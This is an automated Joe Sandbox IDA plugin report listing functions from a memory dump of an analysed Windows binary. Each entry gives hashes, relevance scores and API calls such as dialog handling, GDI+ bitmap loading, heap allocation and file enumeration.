Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 2ba98eb48ca51c45e2b2458834513679b6c720e0a6d2db4e40842fee54d72f25
Instruction ID: 667a0b8615e47a84462abd5a2b1cd5715a923ed7ddcb4cc66d7349d368e69ea7
Opcode Fuzzy Hash: 2ba98eb48ca51c45e2b2458834513679b6c720e0a6d2db4e40842fee54d72f25
Instruction Fuzzy Hash: 4BE012B1901218EFCB20DF95D9057DDB7F8EB04764F60849AA899A3701D670EE44EB91

Function 00B01E1F Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00B01E34
ShowWindow.USER32(00000000), ref: 00B01E3B

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 9d22c023ca9d65ec6f6249e6084dd9e088a7b894ba34b135182a3c0d24d2a5c3
Instruction ID: c2caaeef215c113bae88ef8d94c9a9ab3d0fb762f153f69a3ec1c940d55cd314
Opcode Fuzzy Hash: 9d22c023ca9d65ec6f6249e6084dd9e088a7b894ba34b135182a3c0d24d2a5c3
Instruction Fuzzy Hash: FEC0123219C600BECB010B70EC09E2A7BA89B94212F00C944B1A5D1060CE39C010DB11

Function 00B01CC4 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00B01CD2
KiUserCallbackDispatcher.NTDLL(00000000), ref: 00B01CD9

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CallbackDispatcherItemUser
String ID:
API String ID: 4250310104-0
Opcode ID: 737215b2401471769b2704f5194e663c694d5bd602e79ad538b1d26d47308198
Instruction ID: 628dff67f43d7facc942fa14895ad6b5831222f3eeacb5b0f0a2dc93f93df304
Opcode Fuzzy Hash: 737215b2401471769b2704f5194e663c694d5bd602e79ad538b1d26d47308198
Instruction Fuzzy Hash: 73C04C7654C740BFCB015BA0AD1CD2FBFA9AB95312F00C989B6A591120CE358410DB11

Function 00B027E0 Relevance: 1.8, APIs: 1, Instructions: 306COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B027E7

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 43e4401aa52928ed6459ae562cf5fe58425b2709f52d4b10b297fd8f5b874ee6
Instruction ID: 08341f3b1d37d6cc2dbf263e11cc36e0f3317e1adbd1d1fe0100b361d48f019d
Opcode Fuzzy Hash: 43e4401aa52928ed6459ae562cf5fe58425b2709f52d4b10b297fd8f5b874ee6
Instruction Fuzzy Hash: 5AC14A70A042559BDF259F68C8987AD7FE4AF4A300F1840F9EC09DF2D6CB749949CBA1

Function 00B19556 Relevance: 1.8, APIs: 1, Instructions: 258COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B197AB

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 24d314bd2c7992a5b66cd7eba88106434dc12e2c8b7bab693843c3dad5cc804c
Instruction ID: 34811765c77ab1b378a764c03ad824f26d3269235976714849176e9ed2a07d28
Opcode Fuzzy Hash: 24d314bd2c7992a5b66cd7eba88106434dc12e2c8b7bab693843c3dad5cc804c
Instruction Fuzzy Hash: B18179719043948FDB24EF24D8A5BEBB7E5FF51300F9009EEE45997180EBB0AD848795

Function 00B020B0 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B020B7

Part of subcall function 00B080EC: __EH_prolog3.LIBCMT ref: 00B080F3

Part of subcall function 00B12815: __EH_prolog3.LIBCMT ref: 00B1281C

Part of subcall function 00B076E7: __EH_prolog3.LIBCMT ref: 00B076EE

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 9bff6f6f099c8e7bb1d728ac85fe4edca8d8adeeb54f81716b726eb91d532fba
Instruction ID: a21d541be9d654c2ae2c61502a5c7bffec2bf6fa46f75830c847db6a4adbc53d
Opcode Fuzzy Hash: 9bff6f6f099c8e7bb1d728ac85fe4edca8d8adeeb54f81716b726eb91d532fba
Instruction Fuzzy Hash: 9C51E2B1A057808EDB44DF6A84807C9BBE0AF59300F0882FADC4DDE6ABDB740254CB61

Function 00B0B3E1 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0B3E8

Part of subcall function 00B0F711: FindClose.KERNELBASE(00000000,000000FF,00000049,00000049,?,?,00B0A684,?,?,00000000,?,?,?,?,?,?), ref: 00B0F739

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CloseFindH_prolog3_
String ID:
API String ID: 2672038326-0
Opcode ID: 63f4523f17f94c29fc3a32b897cf1ef0dd8346d1c9f50d00e52345dcdba84e8f
Instruction ID: c5c5a2589597d216fb8b600178cc8c52a51018feac3b1a5643f04a3b1c6b61b2
Opcode Fuzzy Hash: 63f4523f17f94c29fc3a32b897cf1ef0dd8346d1c9f50d00e52345dcdba84e8f
Instruction Fuzzy Hash: 43413570900609CFDB34DFA9C896AAEBBF1FF05304F5444ADE15A9B392D730A946CB25

Function 00B02C30 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B02C37

Part of subcall function 00B1880E: __EH_prolog3.LIBCMT ref: 00B18815

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3H_prolog3_
String ID:
API String ID: 3355343447-0
Opcode ID: 7bca0c622a4fbe434499ccd571ddabcc70ecfa8f48094b25ad5fe3596d5a6cad
Instruction ID: a36e7122bb2413af14176f6a8521eeb4884c0b7128dc0efb80b3a04bfc41d77c
Opcode Fuzzy Hash: 7bca0c622a4fbe434499ccd571ddabcc70ecfa8f48094b25ad5fe3596d5a6cad
Instruction Fuzzy Hash: 8231FD7190120CAEDF19DBE4D8959EEBFF9EF18300F5405AAF405A7291DB709D89CB60

Function 00B076E7 Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B076EE

Part of subcall function 00B14F2B: __EH_prolog3.LIBCMT ref: 00B14F32

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 6e1ac2af5e9428289593b58ad3028c3d5e8364e7e27f61bc5cd2a7b049cb1518
Instruction ID: 18e83b1ad202eb8f5cfcf5ec0198866648e25b37eb4a4ad8f93d85fcd0dce1f7
Opcode Fuzzy Hash: 6e1ac2af5e9428289593b58ad3028c3d5e8364e7e27f61bc5cd2a7b049cb1518
Instruction Fuzzy Hash: BD4163B4816B85CAC724DF7AD1493CAFBE8AFA5300F10995FD0AE93361D7B025448F19

Function 00B197A4 Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B197AB

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: cab9f97e63b20e8bf7bac265719ffb65e065b2fbeb052894983c2c13f756af5a
Instruction ID: 1064b44fe17249e373b03508444321a33ac26a4fd925f57b27287a153ed9adb4
Opcode Fuzzy Hash: cab9f97e63b20e8bf7bac265719ffb65e065b2fbeb052894983c2c13f756af5a
Instruction Fuzzy Hash: 4A2106B19012229BEF289F749C5AA9E76E4FF04354F1501BAE509EB2C1DB709D80C7E4

Function 00B0D771 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B0D778

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 25a143d13808a51f29d66fceb04ed8167be6792816b48139d21d0613e4e4d01c
Instruction ID: 1ba09265321e4514b9bcf9cfc0119a7df406b3ab92441276391677dfdc25f2d7
Opcode Fuzzy Hash: 25a143d13808a51f29d66fceb04ed8167be6792816b48139d21d0613e4e4d01c
Instruction Fuzzy Hash: 79218372A0161A9BCB14DFE9DC81AEEBBF9FF88300F14445AF504B7281DB749E008B95

Function 00B0EAF3 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0EAFA

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3_
String ID:
API String ID: 2427045233-0
Opcode ID: 90d56617d36f790ed75c69ce670b99c52f569be0f1ec4eded0297e44da0ec48e
Instruction ID: b6c05b23e18250244f7fe3f297466c39b8ce8506f5b251e5e636881cb915fa3a
Opcode Fuzzy Hash: 90d56617d36f790ed75c69ce670b99c52f569be0f1ec4eded0297e44da0ec48e
Instruction Fuzzy Hash: 0721AE30641208AADF209E68C882EEE7BE9EF12750F545DC8F4A2A71D1CB70DE49C760

Function 00B2437D Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B24384

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3_
String ID:
API String ID: 2427045233-0
Opcode ID: d3829a019965efe2c2213293668e43e0480c35bf9bf1799d4ded068ecb45c712
Instruction ID: 14b879ecfa037427a4417f31af30ab643b013eeecde53c237f1c6438f7f04945
Opcode Fuzzy Hash: d3829a019965efe2c2213293668e43e0480c35bf9bf1799d4ded068ecb45c712
Instruction Fuzzy Hash: 45216F71900218DEDF18EFA4E885EDE7BF9EF48300F5401AAE109E72A1DB359A45CB65

Function 00B24300 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B24307

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3_
String ID:
API String ID: 2427045233-0
Opcode ID: f43a4061a8e025a0d144812a71714a97577523fe3e13b9d8efaa848aa49f0c00
Instruction ID: 1ff11e25f94873dc5e910a4ceff72672155d2c796c28b6462c6a50c51151f8b8
Opcode Fuzzy Hash: f43a4061a8e025a0d144812a71714a97577523fe3e13b9d8efaa848aa49f0c00
Instruction Fuzzy Hash: 0D016DB1841218EEDB00EBE4D886ADE7BF8AF14314F4444A5F505A6182C7389B89CB71

Function 00B3040E Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00B2535E,?,?,00B26C16,?,?,?,?,?,00B25269,00B2535E,?,?,?,?), ref: 00B30440

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c28cee5776741015569418dd2858f4ab74fe8efd64d80c4ecd7b665edd92a099
Instruction ID: e097ae29fe3417d823a63f435c21a9a0ef09cfee108ae56777bf3a3e4073774f
Opcode Fuzzy Hash: c28cee5776741015569418dd2858f4ab74fe8efd64d80c4ecd7b665edd92a099
Instruction Fuzzy Hash: 50E0653116122196DA6136A59D31B5B3AF8DF413A0F3941E1FE5CA7291DF61CE0085A5

Function 00B0F711 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00B0F826: __EH_prolog3_GS.LIBCMT ref: 00B0F830
Part of subcall function 00B0F826: FindFirstFileW.KERNELBASE(?,?,00000274,00B0F733,000000FF,00000049,00000049,?,?,00B0A684,?,?,00000000,?,?,?), ref: 00B0F859
Part of subcall function 00B0F826: FindFirstFileW.KERNEL32(?,?,?,?,?,00B0D303,?,?,?,?,?,?,?,5EA84158,00000049), ref: 00B0F8A4
Part of subcall function 00B0F826: GetLastError.KERNEL32(?,?,?,00B0D303,?,?,?,?,?,?,?,5EA84158,00000049,?,00000000), ref: 00B0F902

FindClose.KERNELBASE(00000000,000000FF,00000049,00000049,?,?,00B0A684,?,?,00000000,?,?,?,?,?,?), ref: 00B0F739

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorH_prolog3_Last
String ID:
API String ID: 765066492-0
Opcode ID: 5b1c95265aba80fc70ca0c8fb6e5625617fe0cae205d63e17418b194d2b34e5d
Instruction ID: c911f3e995b0eafd7951a95fabb52adba279843603d0adf7680257458adffca0
Opcode Fuzzy Hash: 5b1c95265aba80fc70ca0c8fb6e5625617fe0cae205d63e17418b194d2b34e5d
Instruction Fuzzy Hash: D3F0A73100D791AECE311BA44804A9B7FD1AF16370F104F99F0F9125D2C270D4549B23

Function 00B173F8 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00B1742D

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 8d2ecb407d8997025271ce9e75d77ba75d0047a812cd999b61ba3acefabfad61
Instruction ID: 02f05b230eac86582d8a2bc616cab0a1ae28dd3db89ca87001644a31e928b585
Opcode Fuzzy Hash: 8d2ecb407d8997025271ce9e75d77ba75d0047a812cd999b61ba3acefabfad61
Instruction Fuzzy Hash: 1ED05B1174905066FA253B2568877FD1DD6AFC6315F4900F6B019673C3CE944CC693E6

Function 00B011DD Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00B01206

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: b6dbc1ff7d9b6923f3e65d4a1a5089bb0344b4586f9250eb3f5b27e450492f1d
Instruction ID: 800daeccf5180175ba7eff009ba9d39571cb1b4f4fb8fb2fe9ff962171c2e575
Opcode Fuzzy Hash: b6dbc1ff7d9b6923f3e65d4a1a5089bb0344b4586f9250eb3f5b27e450492f1d
Instruction Fuzzy Hash: 50D05EB66026024FC72EEF3CD96682E7AD49F503053104AADF02BCA6C2DF31CC25C615

Function 00B1EB06 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00B1EB0C

Part of subcall function 00B1E849: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00B1E86A

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 40d26e3062f3a0a4d923ad9eb1023a0fc0ac8bf0375a6db8f64136e7eac3b51d
Instruction ID: bae64452ed50c35e32526bb72612f085ee65ae465dac1a0bfe427603eac338f7
Opcode Fuzzy Hash: 40d26e3062f3a0a4d923ad9eb1023a0fc0ac8bf0375a6db8f64136e7eac3b51d
Instruction Fuzzy Hash: 7CD0A73020420AB6DF012B208C429BF75D4DF00340F848161BC1685150EA70E9505260

Function 00B24231 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00B24256

Part of subcall function 00B20678: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B20689
Part of subcall function 00B20678: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B2069A
Part of subcall function 00B20678: IsDialogMessageW.USER32(00010460,?), ref: 00B206AE
Part of subcall function 00B20678: TranslateMessage.USER32(?), ref: 00B206BC
Part of subcall function 00B20678: DispatchMessageW.USER32(?), ref: 00B206C6

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: e9aa7292cf46e5ccbd1f1163a669b21624cc4390a999d11a16a0840ca21e1c6e
Instruction ID: cfc79df114391ff956e0e378ad2f6797efb6a10b9161795bc33ee0e037bc6795
Opcode Fuzzy Hash: e9aa7292cf46e5ccbd1f1163a669b21624cc4390a999d11a16a0840ca21e1c6e
